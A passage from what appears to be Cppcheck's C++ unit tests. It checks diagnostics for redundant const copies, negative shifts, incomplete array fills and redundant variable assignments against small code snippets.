0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned 